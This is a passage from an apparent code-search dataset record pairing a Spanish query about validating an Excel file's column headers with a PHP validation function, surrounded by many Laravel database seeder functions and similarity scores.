let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n News::create([\n 'title' => $faker->sentence,\n 'summary' => $faker->sentence,\n 'content' => $faker->paragraph,\n 'imagePath' => '/img/exclamation_mark.png'\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 3)->create();\n factory(App\\Models\\Category::class, 3)\n ->create()\n ->each(function ($u) {\n $u->courses()->saveMany(factory(App\\Models\\Course::class,3)->make())->each(function ($c){\n $c->exams()->saveMany(factory(\\App\\Models\\Exam::class,3)->make())->each(function ($e){\n $e->questions()->saveMany(factory(\\App\\Models\\Question::class,4)->make())->each(function ($q){\n $q->answers()->saveMany(factory(\\App\\Models\\Answer::class,4)->make())->each(function ($a){\n $a->correctAnswer()->save(factory(\\App\\Models\\Correct_answer::class)->make());\n });\n });\n });\n });\n\n });\n\n }", "public function run()\n {\n \\DB::table('employees')->delete();\n\n $faker = \\Faker\\Factory::create('ja_JP');\n\n $role_id = ['1','2','3'];\n\n for ($i = 0; $i < 10; $i++) {\n \\App\\Models\\Employee::create([\n 'last_name' =>$faker->lastName() ,\n 'first_name' => $faker->firstName(),\n 'mail' => $faker->email(),\n 'password' => Hash::make( \"password.$i\"),\n 'birthday' => $faker->date($format='Y-m-d',$max='now'),\n 'role_id' => $faker->randomElement($role_id)\n ]);\n }\n }", "public function run()\n {\n\n DB::table('clients')->delete();\n DB::table('trips')->delete();\n error_log('empty tables done.');\n\n $random_cities = City::inRandomOrder()->select('ar_name')->limit(5)->get();\n $GLOBALS[\"random_cities\"] = $random_cities->pluck('ar_name')->toArray();\n\n $random_airlines = Airline::inRandomOrder()->select('code')->limit(5)->get();\n $GLOBALS[\"random_airlines\"] = $random_airlines->pluck('code')->toArray();\n\n factory(App\\Client::class, 5)->create();\n error_log('Client seed done.');\n\n\n factory(App\\Trip::class, 50)->create();\n error_log('Trip seed done.');\n\n\n factory(App\\Quicksearch::class, 10)->create();\n error_log('Quicksearch seed done.');\n }", "public function run()\n {\n // Admins\n User::factory()->create([\n 'name' => 'Zaiman Noris',\n 'username' => 'rognales',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n User::factory()->create([\n 'name' => 'Affiq Rashid',\n 'username' => 'affiqr',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n // Only seed test data in non-prod\n if (! app()->isProduction()) {\n Member::factory()->count(1000)->create();\n Staff::factory()->count(1000)->create();\n\n Participant::factory()\n ->addSpouse()\n ->addChildren()\n ->addInfant()\n ->addOthers()\n ->count(500)\n ->hasUploads(2)\n ->create();\n }\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n UserSeeder::class,\n ]);\n\n \\App\\Models\\Category::factory(4)->create();\n \\App\\Models\\View::factory(6)->create();\n \\App\\Models\\Room::factory(8)->create();\n \n $rooms = \\App\\Models\\Room::all();\n // \\App\\Models\\User::all()->each(function ($user) use ($rooms) { \n // $user->rooms()->attach(\n // $rooms->random(rand(1, \\App\\Models\\Room::max('id')))->pluck('id')->toArray()\n // ); \n // });\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n Employee::factory()->create(['email' => '[email protected]']);\n Brand::factory()->count(3)->create();\n $this->call([\n TagSeeder::class,\n AttributeSeeder::class,\n AttributeValueSeeder::class,\n ProductSeeder::class,\n ]);\n }", "public function run()\n {\n $this->call(RolesTableSeeder::class); // crée les rôles\n $this->call(PermissionsTableSeeder::class); // crée les permissions\n\n factory(Employee::class,3)->create();\n factory(Provider::class,1)->create();\n\n $user = User::create([\n 'name'=>'Alioune Bada Ndoye',\n 'email'=>'[email protected]',\n 'phone'=>'773012470',\n 'password'=>bcrypt('123'),\n ]);\n Employee::create([\n 'job'=>'Informaticien',\n 'user_id'=>User::where('email','[email protected]')->first()->id,\n 'point_id'=>Point::find(1)->id,\n ]);\n $user->assignRole('admin');\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(User::class, 1)\n \t->create(['email' => '[email protected]']);\n\n factory(Category::class, 5)->create();\n }", "public function run()\n {\n //$this->call(UsersTableSeeder::class);\n $this->call(rootSeed::class);\n factory(App\\Models\\Egresado::class,'hombre',15)->create();\n factory(App\\Models\\Egresado::class,'mujer',15)->create();\n factory(App\\Models\\Administrador::class,5)->create();\n factory(App\\Models\\Notificacion::class,'post',10)->create();\n factory(App\\Models\\Notificacion::class,'mensaje',5)->create();\n factory(App\\Models\\Egresado::class,'bajaM',5)->create();\n factory(App\\Models\\Egresado::class,'bajaF',5)->create();\n factory(App\\Models\\Egresado::class,'suscritam',5)->create();\n factory(App\\Models\\Egresado::class,'suscritaf',5)->create();\n }", "public function run()\n {\n \n User::factory(1)->create([\n 'rol'=>'EPS'\n ]);\n Person::factory(10)->create();\n $this->call(EPSSeeder::class);\n $this->call(OfficialSeeder::class);\n $this->call(VVCSeeder::class);\n $this->call(VaccineSeeder::class);\n }", "public function run()\n {\n // $faker=Faker::create();\n // foreach(range(1,100) as $index)\n // {\n // DB::table('products')->insert([\n // 'name' => $faker->name,\n // 'price' => rand(10,100000)/100\n // ]);\n // }\n }", "public function run()\n {\n $this->call([\n LanguagesTableSeeder::class,\n ListingAvailabilitiesTableSeeder::class,\n ListingTypesTableSeeder::class,\n RoomTypesTableSeeder::class,\n AmenitiesTableSeeder::class,\n UsersTableSeeder::class,\n UserLanguagesTableSeeder::class,\n ListingsTableSeeder::class,\n WishlistsTableSeeder::class,\n StaysTableSeeder::class,\n GuestsTableSeeder::class,\n TripsTableSeeder::class,\n ReviewsTableSeeder::class,\n RatingsTableSeeder::class,\n PopularDestinationsTableSeeder::class,\n ImagesTableSeeder::class,\n ]);\n\n // factory(App\\User::class, 5)->states('host')->create();\n // factory(App\\User::class, 10)->states('hostee')->create();\n\n // factory(App\\User::class, 10)->create();\n // factory(App\\Models\\Listing::class, 30)->create();\n }", "public function run()\n {\n Schema::disableForeignKeyConstraints();\n Grade::truncate();\n Schema::enableForeignKeyConstraints();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 10; $i++) {\n Grade::create([\n 'letter' => $faker->randomElement(['а', 'б', 'в']),\n 'school_id' => $faker->unique()->numberBetween(1, School::count()),\n 'level' => 1\n ]);\n }\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(App\\User::class,5)->create();//5 User created\n factory(App\\Model\\Genre::class,5)->create();//5 genres\n factory(App\\Model\\Film::class,6)->create();//6 films\n factory(App\\Model\\Comment::class, 20)->create();// 20 comments\n }", "public function run()\n {\n\n $this->call(UserSeeder::class);\n factory(Empresa::class,10)->create();\n factory(Empleado::class,50)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'name' => 'jose luis',\n 'email' => '[email protected]',\n 'password' => bcrypt('xxxxxx'),\n 'role' => 'admin',\n ]);\n\n Category::create([\n 'name' => 'inpods',\n 'description' => 'auriculares inalambricos que funcionan con blouthue genial'\n ]);\n\n Category::create([\n 'name' => 'other',\n 'description' => 'otra cosa diferente a un inpods'\n ]);\n\n\n /* Create 10 products */\n Product::factory(10)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Russell'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Bitfumes'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Paul'\n ]);\n }", "public function run()\n {\n $user_ids = [1,2,3];\n $faker = app(\\Faker\\Generator::class);\n $posts = factory(\\App\\Post::class)->times(50)->make()->each(function($post) use ($user_ids,$faker){\n $post->user_id = $faker->randomElement($user_ids);\n });\n \\App\\Post::insert($posts->toArray());\n }", "public function run()\n {\n // Vaciar la tabla.\n Favorite::truncate();\n $faker = \\Faker\\Factory::create();\n // Crear artículos ficticios en la tabla\n\n // factory(App\\Models\\User::class, 2)->create()->each(function ($user) {\n // $user->users()->saveMany(factory(App\\Models\\User::class, 25)->make());\n //});\n }", "public function run()\n\t{\n\t\t$this->call(ProductsTableSeeder::class);\n\t\t$this->call(CategoriesTableSeeder::class);\n\t\t$this->call(BrandsTableSeeder::class);\n\t\t$this->call(ColorsTableSeeder::class);\n\n\t\t$products = \\App\\Product::all();\n \t$categories = \\App\\Category::all();\n \t$brands = \\App\\Brand::all();\n \t$colors = \\App\\Color::all();\n\n\t\tforeach ($products as $product) {\n\t\t\t$product->colors()->sync($colors->random(3));\n\n\t\t\t$product->category()->associate($categories->random(1)->first());\n\t\t\t$product->brand()->associate($brands->random(1)->first());\n\n\t\t\t$product->save();\n\t\t}\n\n\t\t// for ($i = 0; $i < count($products); $i++) {\n\t\t// \t$cat = $categories[rand(0,5)];\n\t\t// \t$bra = $brands[rand(0,7)];\n\t\t// \t$cat->products()->save($products[$i]);\n\t\t// \t$bra->products()->save($products[$i]);\n\t\t// }\n\n\t\t// $products = factory(App\\Product::class)->times(20)->create();\n\t\t// $categories = factory(App\\Category::class)->times(6)->create();\n\t\t// $brands = factory(App\\Brand::class)->times(8)->create();\n\t\t// $colors = factory(App\\Color::class)->times(15)->create();\n\t}", "public function run()\n {\n /*$this->call(UsersTableSeeder::class);\n $this->call(GroupsTableSeeder::class);\n $this->call(TopicsTableSeeder::class);\n $this->call(CommentsTableSeeder::class);*/\n DB::table('users')->insert([\n 'name' => 'pkw',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'type' => '1'\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n foreach (range(1,200) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'phone' => $faker->randomDigitNotNull,\n 'address'=> $faker->streetAddress,\n 'password' => bcrypt('secret'),\n ]);\n }\n }", "public function run()\n {\n $this->call(UsersSeeder::class);\n User::factory(2)->create();\n Company::factory(2)->create();\n\n }", "public function run()\n {\n echo PHP_EOL , 'seeding roles...';\n\n Role::create(\n [\n 'name' => 'Admin',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Principal',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Teacher',\n 'deletable' => false,\n ]\n );\n\n Role::create(\n [\n 'name' => 'Student',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Parents',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Accountant',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Librarian',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Receptionist',\n 'deletable' => false,\n ]\n );\n\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(QuestionTableSeed::class);\n\n $this->call([\n QuestionTableSeed::class,\n AlternativeTableSeed::class,\n ScheduleActionTableSeeder::class,\n UserTableSeeder::class,\n CompanyClassificationTableSeed::class,\n ]);\n // DB::table('clients')->insert([\n // 'name' => 'Empresa-02',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('07.052.477/0001-60'),\n // ]);\n }", "public function run()\n {\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Runner::create([\n 'external_id' => $faker->uuid,\n 'name' => $faker->name,\n 'race_id' =>rand(1,5),\n 'age' => rand(30, 45),\n 'sex' => $faker->randomElement(['male', 'female']),\n 'color' => $faker->randomElement(['#ecbcb4', '#d1a3a4']),\n ]);\n }\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n User::factory()->create([\n 'name' => 'Carlos',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('123456'), // password\n 'remember_token' => Str::random(10),\n ]);\n \n $this->call([PostsTableSeeder::class]);\n $this->call([TagTableSeeder::class]);\n\n }", "public function run()\n {\n $this->call(AlumnoSeeder::class);\n //Alumnos::factory()->count(30)->create();\n //DB::table('alumnos')->insert([\n // 'dni_al' => '13189079',\n // 'nom_al' => 'Jose',\n // 'ape_al' => 'Araujo',\n // 'rep_al' => 'Principal',\n // 'esp_al' => 'Tecnologia',\n // 'lnac_al' => 'Valencia'\n //]);\n }", "public function run()\n {\n Eloquent::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n // $this->call([\n // CountriesTableSeeder::class,\n // ]);\n\n factory(App\\User::class, 100)->create();\n factory(App\\Type::class, 10)->create();\n factory(App\\Item::class, 100)->create();\n factory(App\\Order::class, 1000)->create();\n\n $items = App\\Item::all();\n\n App\\Order::all()->each(function($order) use ($items) {\n\n $n = rand(1, 10);\n\n $order->items()->attach(\n $items->random($n)->pluck('id')->toArray()\n , ['quantity' => $n]);\n\n $order->total = $order->items->sum(function($item) {\n return $item->price * $item->pivot->quantity;\n });\n\n $order->save();\n\n });\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'izzanni',\n \n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'aina',\n\n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'sab',\n\n ]\n );\n }", "public function run()\n {\n\n factory('App\\Models\\Pessoa', 60)->create();\n factory('App\\Models\\Profissional', 10)->create();\n factory('App\\Models\\Paciente', 50)->create();\n $this->call(UsersTableSeeder::class);\n $this->call(ProcedimentoTableSeeder::class);\n // $this->call(PessoaTableSeeder::class);\n // $this->call(ProfissionalTableSeeder::class);\n // $this->call(PacienteTableSeeder::class);\n // $this->call(AgendaProfissionalTableSeeder::class);\n }", "public function run()\n {\n //Acá se define lo que el seeder va a hacer.\n //insert() para insertar datos.\n //Array asociativo. La llave es el nombre de la columna.\n// DB::table('users')->insert([\n// //Para un solo usuario.\n// 'name' => 'Pedrito Perez',\n// 'email' => '[email protected]',\n// 'password' => bcrypt('123456')\n// ]);//Se indica el nombre de la tabla.\n\n //Crea 50 usuarios (sin probar)\n// factory(App\\User::class, 50)->create()->each(function($u) {\n// $u->posts()->save(factory(App\\Post::class)->make());\n// });\n\n factory(App\\User::class, 10)->create(); //Así se ejecuta el model factory creado en ModelFactory.php\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //nhập liệu mẫu cho bảng users\n DB::table('users')->insert([\n \t['id'=>'1001', 'name'=>'Phan Thị Hiền', 'email'=>'[email protected]', 'password'=>'123456', 'isadmin'=>1],\n \t['id'=>'1002', 'name'=>'Phan Thị Hà', 'email'=>'[email protected]', 'password'=>'111111', 'isadmin'=>0]\n ]);\n\n\n //nhập liệu mẫu cho bảng suppliers\n DB::table('suppliers')->insert([\n \t['name'=>'FPT', 'address'=>'151 Hùng Vương, TP. Đà Nẵng', 'phonenum'=>'0971455395'],\n \t['name'=>'Điện Máy Xanh', 'address'=>'169 Phan Châu Trinh, TP. Đà Nẵng', 'phonenum'=>'0379456011']\n ]);\n\n\n //Bảng phiếu bảo hành\n }", "public function run()\n {\n \t// DB::table('categories')->truncate();\n // factory(App\\Models\\Category::class, 10)->create();\n Schema::disableForeignKeyConstraints();\n Category::truncate();\n $faker = Faker\\Factory::create();\n\n $categories = ['SAMSUNG','NOKIA','APPLE','BLACK BERRY'];\n foreach ($categories as $key => $value) {\n Category::create([\n 'name'=>$value,\n 'description'=> 'This is '.$value,\n 'markup'=> rand(10,100),\n 'category_id'=> null,\n 'UUID' => $faker->uuid,\n ]);\n }\n }" ]
[ "0.8013876", "0.79804534", "0.7976992", "0.79542726", "0.79511505", "0.7949612", "0.794459", "0.7942486", "0.7938189", "0.79368967", "0.79337025", "0.78924936", "0.78811055", "0.78790957", "0.78787595", "0.787547", "0.7871811", "0.78701615", "0.7851422", "0.7850352", "0.7841468", "0.7834583", "0.7827792", "0.7819104", "0.78088796", "0.7802872", "0.7802348", "0.78006834", "0.77989215", "0.7795819", "0.77903426", "0.77884805", "0.77862066", "0.7778816", "0.7777486", "0.7765202", "0.7762492", "0.77623445", "0.77621746", "0.7761383", "0.77606887", "0.77596676", "0.7757001", "0.7753607", "0.7749522", "0.7749292", "0.77466977", "0.7729947", "0.77289546", "0.772796", "0.77167094", "0.7714503", "0.77140456", "0.77132195", "0.771243", "0.77122366", "0.7711113", "0.77109736", "0.7710777", "0.7710086", "0.7705484", "0.770464", "0.7704354", "0.7704061", "0.77027386", "0.77020216", "0.77008796", "0.7698617", "0.76985973", "0.76973504", "0.7696405", "0.7694293", "0.7692694", "0.7691264", "0.7690576", "0.76882726", "0.7687433", "0.7686844", "0.7686498", "0.7685065", "0.7683827", "0.7679184", "0.7678287", "0.76776296", "0.76767945", "0.76726556", "0.76708084", "0.76690495", "0.766872", "0.76686716", "0.7666299", "0.76625943", "0.7662227", "0.76613766", "0.7659881", "0.7656644", "0.76539344", "0.76535016", "0.7652375", "0.7652313", "0.7652022" ]
0.0
-1
FUNCION QUE VALIDA INICIALMENTE EL EXCEL
function valida_excel($archi){ ini_set("display_errors",1); error_reporting(E_ALL); require_once 'excel_reader2.php'; $excel = new Spreadsheet_Excel_Reader($archi); // $cont = 0; $conta = 0; $no_conta = 0; $arre = ""; $item_bueno=""; $item_malo=""; $cadena_buenos = ""; $columnas =0; $formato = array("Hora de salida","Numero de Grupo","Fecha de incicio","SAP ( Cliente)","Pedido","Kilos","Economico","Unidad Medida","Fecha estimada","Hora de Entrada","Hora de Salida","Comentarios","Hora de Llegada"); $formato_actual = array(); $bandera = true; $m = -1; for ($row=1;$row<2;$row++){ for ($col=1;$col<=$excel->colcount();$col++) { $m = $m +1; if($excel->val($row,$col)!=""){ $formato_actual[$m] = strtoupper($excel->val($row,$col)); $columnas = $columnas +1; }else{ break; } } } if($columnas == count($formato)){ // Echo "formato completo"; for ($col=0;$col<count($formato_actual);$col++) { if(in_array($formato_actual[$col],$formato)){ if( $formato_actual[$col] == $formato[$col]){ // echo ' no estan en la misma posicion <b style="color:#00ff00;">'.$formato_actual[$col] .'=='. $formato[$col].'</b><br />'; $bandera = true; }else{ // echo ' La posicion de las columnas no es correcta <b style="color:#993300;">'.$formato_actual[$col] .'=='. $formato[$col].'</b><br />'; $bandera = false; break; } }else{ //echo "segun este ".$formato_actual[$col].'<br />'; $bandera = false; break; } } }else{ $bandera = false; } return $bandera; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function tableValidator( &$errors, &$warnings, &$excel, &$lang ){\n $valid = 0;\n for( $col = 1; $col <= $excel->numCols(); $col++ ) {\n if( empty($excel->valueAt( 1, $col )) ){\n for( $row = 2; $row <= $excel->numRows(); $row++ ){\n if( $excel->valueAt( $row, $col) !== '' ){\n array_push( $warnings, sprintf( $lang['xlsimport_warning_column_without_name'], chr( $col + 64 )) );\n $row = $excel->numRows();\n $valid = 1;\n }\n }\n }else{\n for( $comp_col = ($col + 1); $comp_col <= $excel->numCols(); $comp_col++ ) {\n if($excel->valueAt( 1, $col ) === $excel->valueAt( 1, $comp_col )){\n array_push( $errors, sprintf( $lang['xlsimport_warning_colname_duplicate'], chr( $col + 64 ), chr( $comp_col + 64 )));\n $valid = 2;\n }\n }\n }\n }\n return $valid;\n}", "private function validate(){\n\t\t$row = $this->row;\n\t\t$col = $this->col;\n\t\tfor($i=0;$i<$row;$i++)\n\t\t\tfor($j=0;$j<$col;$j++)\n\t\t\t$this->sanitzeRow($i,$j);\n\n\t\tfor($i=0;$i<$row;$i++)\n\t\t\tfor($j=0;$j<$col;$j++)\n\t\t\t$this->sanitzeCol($i,$j);\n\n\t}", "function fileValidate($path){\n $validate_array = array();\n $excel = new PHPExcel;\n $path =public_path().\"/uploads/\".$path;\n $objPHPExcel = PHPExcel_IOFactory::load($path);\n \t\t$validate_array['fileSize'] = filesize($path);\n $validate_array['sheetCount'] = $objPHPExcel->getSheetCount();\n for($i=0;$i<$validate_array['sheetCount'];$i++){\n $activeSheet = $objPHPExcel->setActiveSheetIndex($i); // set active sheet\n\n $validate_array['sheetRow'][$i] = $activeSheet->getHighestRow();\n $validate_array['sheetColumn'][$i] = $activeSheet->getHighestColumn();\n $validate_array['sheetDimension'][$i] = $activeSheet->calculateWorksheetDimension();\n $validate_array['sheetTitle'][$i] = $activeSheet->getTitle();\n\n $cell_collection = $activeSheet->getCellCollection();\n $arr_data = array();\n foreach ($cell_collection as $key=>$cell) {\n $column = $activeSheet->getCell($cell)->getColumn();\n $colNumber = PHPExcel_Cell::columnIndexFromString($column);\n $row = $activeSheet->getCell($cell)->getRow();\n if($row == 6)\n break;\n $data_value = $activeSheet->getCell($cell)->getValue();\n $arr_data[$row][$colNumber] = $data_value;\n //$validate_array['sheetdata'][$i] = $arr_data;\n \t}\n $validate_array['sheetData'][$i] = $arr_data;\n }\n //echo \"<pre>\"; echo json_encode($validate_array,JSON_PRETTY_PRINT); exit;\n //echo \"<pre>\"; print_r ($validate_array); exit;\n return $validate_array;\n }", "public static function ctrAgregarFichas()\n {\n\n if (isset($_POST[\"nuevaFicha\"])) {\n\n if (preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST[\"nuevaFicha\"]) &&\n preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST[\"nuevaJornada\"])) {\n\n $tabla = \"ficha\";\n\n // $jornada = strtoupper($_POST[\"nuevaJornada\"]);\n // $fechaInicio=($_POST[\"nuevaFechaInicio\"],$formato);\n\n $excel = $_FILES[\"nuevoExcel\"][\"tmp_name\"];\n\n include 'extensiones/PHPExcel-1.8/Classes/PHPExcel/IOFactory.php';\n $inputFileName = $excel;\n $inputFileType = PHPExcel_IOFactory::identify($inputFileName);\n $objReader = PHPExcel_IOFactory::createReader($inputFileType);\n $objPHPExcel = $objReader->load($inputFileName);\n\n $data = array($objPHPExcel->getActiveSheet()->toArray(\"null\", true, true, true));\n\n if (count($data[0]) < 10) {\n\n echo '<script>\n\n swal({\n type: \"error\",\n title: \"Número mínimo de aprendices: 30\",\n text: \"El número de aprendices que se quiere ingresar es: ' . count($data[0]) . '\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n }\n })\n\n </script>';\n \n } else {\n $letras = array('A' => \"A\",\n 'B' => \"B\",\n 'C' => \"C\",\n 'D' => \"D\",\n 'E' => \"E\");\n $validacion = false;\n\n if ($data[0][1][$letras['A']] == \"DOCUMENTO\" and $data[0][1][$letras['B']] == \"NOMBRE\" and $data[0][1][$letras['C']] == \"TELEFONO\" and $data[0][1][$letras['D']] == \"EMAIL\" or $data[0][1][$letras['A']] == \"DOCUMENTO \" or $data[0][1][$letras['B']] == \"NOMBRE \" or $data[0][1][$letras['C']] == \"TELEFONO \" or $data[0][1][$letras['D']] == \"EMAIL \") {\n for ($i = 2; $i <= count($data[0]); $i++) {\n if ($data[0][$i][$letras['A']] == \"null\") {\n $validacion = true;\n }\n if ($data[0][$i][$letras['B']] == \"null\") {\n $validacion = true;\n }\n }\n if (!$validacion) {\n $datos = array(\"NumeroFicha\" => $_POST[\"nuevaFicha\"],\n \"IdAmbiente\" => $_POST[\"nuevoAmbiente\"],\n \"IdPrograma\" => $_POST[\"nuevoPrograma\"],\n \"FechaInicio\" => $_POST[\"nuevaFechaInicio\"],\n \"FechaFin\" => $_POST[\"nuevaFechaFin\"],\n \"JornadaFicha\" => $_POST[\"nuevaJornada\"]);\n print_r($datos);\n\n $respuesta = ModeloFichas::mdlAgregarFichas($tabla, $datos);\n if ($respuesta == \"ok\") \n {\n\n $errores = 0;\n $letras = array('A' => \"A\",\n 'B' => \"B\",\n 'C' => \"C\",\n 'D' => \"D\",\n 'E' => \"E\");\n\n\n for ($i = 2; $i <= count($data[0]); $i++) {\n $tablaConsulta = \"aprendiz\";\n $itemConsulta = \"NumDocumentoAprendiz\";\n $valorConsulta = $data[0][$i][$letras['A']];\n $respuestaConsulta = ModeloAprendiz::mdlConsultarAprendizFicha($tablaConsulta, $itemConsulta, $valorConsulta);\n\n if ($respuestaConsulta == null) {\n\n $tabla = \"aprendiz\";\n\n for ($i = 2; $i <= count($data[0]); $i++) {\n $telefono = $data[0][$i][$letras['C']];\n $email = $data[0][$i][$letras['D']];\n\n if ($telefono == \"null\") {\n $telefono = null;\n }\n if ($email == \"null\") {\n $email = null;\n\n }\n\n $datos1 = array(\"NumeroFicha\" => $_POST[\"nuevaFicha\"],\n \"NumDocumentoAprendiz\" => $data[0][$i][$letras['A']],\n \"NombreAprendiz\" => $data[0][$i][$letras['B']],\n \"TelefonoAprendiz\" => $telefono,\n \"EmailAprendiz\" => $email);\n\n $respuesta2 = ModeloAprendiz::MdlIngresarAprendiz($tabla, $datos1);\n\n print_r($respuesta2);\n\n }\n\n if ($respuesta2 == \"ok\") {\n\n echo '<script>\n\n swal({\n type: \"success\",\n title: \"La ficha ha sido guardada correctamente\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n\n }\n })\n\n </script>';\n } else {\n\n $tabla = \"ficha\";\n $datos = $_POST[\"nuevaFicha\"];\n\n $respuesta = ModeloFichas::mdlEliminarFicha($tabla, $datos);\n\n echo '<script>\n\n swal({\n type: \"error\",\n title: \"La ficha no puede ir vacía o llevar caracteres especiales!\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n window.location = \"fichas\";\n\n }\n })\n\n </script>';\n }\n\n } else {\n $i = 5000;\n $tablaEliminar = \"ficha\";\n $datosEliminar = $_POST[\"nuevaFicha\"];\n $respuestaEliminar = ModeloFichas::mdlEliminarFicha($tablaEliminar, $datosEliminar);\n\n if ($respuestaEliminar == \"ok\") {\n echo '<script>\n swal({\n type: \"error\",\n title: \"Aprendiz ya registrado\",\n text: \"Hay aprendices que ya se encuentran registrados en otra ficha revise el archivo!\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n }\n })\n\n </script>';\n }\n }\n }\n }\n } else {\n\n echo '<script>\n\n swal({\n type: \"error\",\n title: \"FALTAN CAMPOS\",\n text:\"Hay aprendices con campos obligatiorios como número de documento o nombre vacíos, revise el archivo e intentelo nuevamente\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n\n }\n })\n\n </script>';\n\n }\n\n } else {\n\n echo '<script>\n\n swal({\n type: \"error\",\n title: \"LA ESTRUCTURA DEL ARCHIVO EXCEL ES INCORRECTA\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then((result) => {\n if (result.value) {\n\n window.location = \"fichas\";\n\n }\n })\n\n </script>';\n\n }\n }\n }\n }\n }", "protected function checkExcel(): void\n {\n if ('application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' === $this->mimeType ||\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' === $this->mimeType ||\n 'application/vnd.ms-excel' === $this->mimeType ||\n 'xls' === $this->fileExtension ||\n 'xlsx' === $this->fileExtension\n ) {\n $this->iconClass = self::ICON_EXCEL;\n }\n }", "public function validarEquipamentosGeral (IExportacaoCenso $oExportacaoCenso, $iSequencial, $sEquipamento) {\n\n $sMensagem = \"\";\n switch ($iSequencial) {\n\n case 3000002:\n\n $sMensagem = \"Dados de Infra Estrutura da escola -> Campo Quantidade de Computadores: \";\n break;\n\n case 3000003:\n\n $sMensagem = \"Dados de Infra Estrutura da escola -> Campo Quantidade de Computadores de Uso Administrativo: \";\n break;\n\n case 3000024:\n\n $sMensagem = \"Dados de Infra Estrutura da escola -> Campo Quantidade de Computadores de Uso dos Alunos: \";\n break;\n\n case 3000019:\n\n $sMensagem = \"Dados de Infra Estrutura da escola -> Campo Número de Salas de Aula Existentes na Escola: \";\n break;\n\n case 3000020:\n\n $sMensagem = \"Dados de Infra Estrutura da escola -> Campo Número de Salas Utilizadas Como Sala de Aula - \";\n $sMensagem .= \"Dentro e Fora do Prédio: \";\n break;\n }\n\n $lTodosDadosValidos = true;\n\n if (strlen($sEquipamento) > 4) {\n\n $lTodosDadosValidos = false;\n $sMensagemTamanho = \"Quantidade de dígitos informado inválido. É permitido no máximo 4 dígitos.\";\n $oExportacaoCenso->logErro( $sMensagem.$sMensagemTamanho, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $sEquipamento != null ) {\n\n if( !DBNumber::isInteger( $sEquipamento ) ) {\n\n $lTodosDadosValidos = false;\n $sMensagemInteiro = \"Valor informado para quantidade inválido. Informe apenas números no campo de quantidade.\";\n $oExportacaoCenso->logErro( $sMensagem.$sMensagemInteiro, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n\n if( DBNumber::isInteger($sEquipamento) && $sEquipamento == 0 ) {\n\n $lTodosDadosValidos = false;\n $sMensagemInvalido = \"Valor informado para quantidade inválido. Deixar o campo vazio, ao invés de informar 0.\";\n $oExportacaoCenso->logErro( $sMensagem.$sMensagemInvalido, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n return $lTodosDadosValidos;\n }", "private function valida_exedente(): bool|array\n {\n if (property_exists(object_or_class: 'calcula_imss', property: 'monto_uma')){\n return $this->error->error('Error no existe el campo monto_uma', $this);\n }\n\n if (property_exists(object_or_class: 'calcula_imss', property: 'sbc')){\n return $this->error->error('Error no existe el campo sbc', $this);\n }\n\n if 